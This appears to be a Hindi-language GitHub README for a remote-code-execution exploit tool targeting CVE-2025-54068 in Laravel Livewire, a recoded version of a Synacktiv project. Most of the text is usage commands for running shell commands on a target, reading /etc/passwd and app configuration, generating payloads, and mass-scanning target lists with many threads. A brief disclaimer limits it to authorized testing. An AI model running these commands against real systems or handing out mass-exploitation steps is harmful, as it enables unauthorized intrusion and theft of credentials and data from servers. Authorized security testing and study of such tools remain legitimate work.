haxorstars/cve-2025-54068CVE-2025-54068 और Livewire प्रोजेक्ट के रिमोट कमांड निष्पादन का शोषण करने के लिए डिज़ाइन किया गया एक उपकरण।
CVE-2025-54068 का शोषण करने और Livewire प्रोजेक्ट का APP_KEY ज्ञात होने पर रिमोट कमांड निष्पादन के लिए डिज़ाइन किया गया एक उपकरण।
यह उपकरण Synacktiv द्वारा मूल प्रोजेक्ट का पुनर्कोडित संस्करण है:
मूल कार्यान्वयन पर आधारित मुख्य अवधारणा और पद्धति। इस संस्करण में उपयोगिता और लचीलापन बढ़ाने के लिए मामूली सुधार और अतिरिक्त सुविधाएँ शामिल हैं।
pipx का उपयोग करके उपकरण स्थापित करें:
pipx install git+https://github.com/haxorstars/CVE-2025-54068
या uv का उपयोग करके:
uv tool install git+https://github.com/haxorstars/CVE-2025-54068
एकल लक्ष्य के विरुद्ध उपकरण चलाएँ:
livewire-rce-2025 -u target.com
कस्टम पैरामीटर के साथ:
livewire-rce-2025 -u https://target.com -p "id;uname -a;pwd;ls -la"
पूर्वनिर्धारित कस्टम फ़ंक्शन निष्पादित करें:
livewire-rce-2025 -u target.com --custom-function "shell:ls -la"
livewire-rce-2025 -u target.com --custom-function "read:/etc/passwd"
livewire-rce-2025 -u target.com --custom-function "phpinfo"
livewire-rce-2025 -u target.com --custom-function "config"
एक कमांड में एकाधिक फ़ंक्शन संयोजित करें:
livewire-rce-2025 -u target.com --custom-function "shell:whoami && shell:id && read:/etc/passwd"
अपनी स्वयं की PHP पेलोड फ़ाइल का उपयोग करें:
livewire-rce-2025 -u target.com --custom-file custom.php --param "shell:id"
लक्ष्य पर भेजे बिना पेलोड उत्पन्न करें:
livewire-rce-2025 -generate-payload --custom-function "shell:ls -la"
या कस्टम PHP फ़ाइल का उपयोग करके:
livewire-rce-2025 -generate-payload --custom-file custom.php
एक फ़ाइल से अनेक लक्ष्यों को स्कैन करें:
livewire-rce-2025 -mass-check targets.txt -o results.json
कस्टम थ्रेड गणना के साथ:
livewire-rce-2025 -mass-check targets.txt -t 20 -o results.json
यह उपकरण केवल शैक्षिक और अधिकृत सुरक्षा परीक्षण उद्देश्यों के लिए है। इसका उपयोग उन प्रणालियों के विरुद्ध न करें जिनके आप स्वामी नहीं हैं या जिनके परीक्षण की स्पष्ट अनुमति नहीं है।
हैप्पी हैकिंग😄